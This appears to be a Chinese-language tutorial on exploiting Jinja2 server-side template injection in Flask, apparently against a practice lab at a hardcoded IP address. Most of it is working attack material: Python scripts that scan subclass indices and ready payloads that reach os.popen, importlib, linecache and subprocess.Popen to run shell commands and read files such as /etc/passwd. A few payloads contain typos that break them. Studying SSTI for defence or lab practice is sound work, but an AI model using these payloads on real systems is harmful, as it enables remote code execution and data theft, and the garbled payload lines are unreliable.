ssti 常见注入模块利用

文件读取

python脚本(这里以重庆橙子科技jinjia2模板注入为例)

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(i)
    except:
        pass

 ssti 常见注入模块利用_第1张图片

使用hackbar测试一下

ssti 常见注入模块利用_第2张图片 使用bp,看不到passwd,直接读取flag

get_data是 FileLoader 对象的一个方法,用于获取指定文件的内容。

利用时第一个参数为 0 ,第二个参数为文件路径即可。ssti 常见注入模块利用_第3张图片

内建函数eval执行命令

内建函数: python在执行脚本时自动加载的函数

python脚本查看可利用内建函数eval的模块(还是以jinjia2为例)

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name":
"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if 'eval' in response.text:
                print(i)
    except:
        pass

ssti 常见注入模块利用_第4张图片ssti 常见注入模块利用_第5张图片

利用内建函数 eval() 和 popen() 执行系统命令

ssti 常见注入模块利用_第6张图片

__builtins__: 提供对Python的所有“内置“标识符的直接访问。

eval(): 计算字符串表达式的值。

__import__: 加载 os 模块。

popen(): 执行一个 shell 以运行命令来开启一个进程,执行 cat /etc/passwd 。

popen() 执行命令后没有直接回显,最后加个 read() 函数读取回显内容

os模块执行命令

在其他函数中直接调用os模块

通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url for,调用os
{{url_for.__globals__.os.popen.('whoami').read()}}

在已经加载os模块的子类里直接调用os模块
{{".__clases__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l/opt").read()}}

python脚本查找已经加载os模块的子类

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name": 
"{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "os.py" in response.text:
            print(i)

 

构造paylaod

name={{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['os'].popen("ls -l /opt").read()}}

ssti 常见注入模块利用_第7张图片 

importlib类执行命令

可以加载第三方库,使用load module加载os

python脚本查找 frozen importlib.Builtinlmporter

import requests
url = ''
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "_frozen_importlib.BuiltinImporter" in response.text:
            print(i)

 

name={{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

 

ssti 常见注入模块利用_第8张图片

linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

python脚本查找linecache

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "linecache" in response.text:
            print(i)

ssti 常见注入模块利用_第9张图片

name={{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}

ssti 常见注入模块利用_第10张图片 

subprocess.Popen 类执行命令 

subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn*。—Python 文档

简单地说,这个模块也可以执行 shell 命令。

import requests
url = 'http://39.104.177.130:18080/flaskBasedTests/jinja2/'
for i in range(500):
    data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        if "subprocess.Popen" in response.text:
            print(i)

ssti 常见注入模块利用_第11张图片 

name={{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

shell=True:这是一个参数,指示在执行命令时使用系统的命令解释器(如 /bin/sh 或 cmd.exe)。

stdout=-1:这是一个参数,用于指定输出流的处理方式。在这里,-1 表示将输出流重定向到subprocess.PIPE,以便在后续步骤中获取输出。

.communicate():这是 Popen 对象的一个方法,用于与子进程进行通信。它会等待子进程执行完毕,并返回一个元组,其中包含子进程的标准输出和标准错误输出。

[0]:这是获取 .communicate() 返回的元组中的第一个元素,即子进程的标准输出。

.strip():这是一个字符串方法,用于去除字符串两端的空白字符。

ssti 常见注入模块利用_第12张图片

 

你可能感兴趣的:(学习)